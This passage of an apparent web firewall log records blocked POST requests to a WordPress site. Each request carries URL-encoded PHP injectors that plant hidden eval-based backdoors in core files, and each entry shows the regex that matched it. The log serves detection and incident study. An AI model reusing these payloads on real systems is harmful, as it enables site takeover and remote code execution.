Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3765\nsec-fetch-site:none\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nwL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:55","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\ncontent-length:3788\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:42:57","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3765\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nZz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:00","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2027\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nGI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:04","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ok:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2027\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 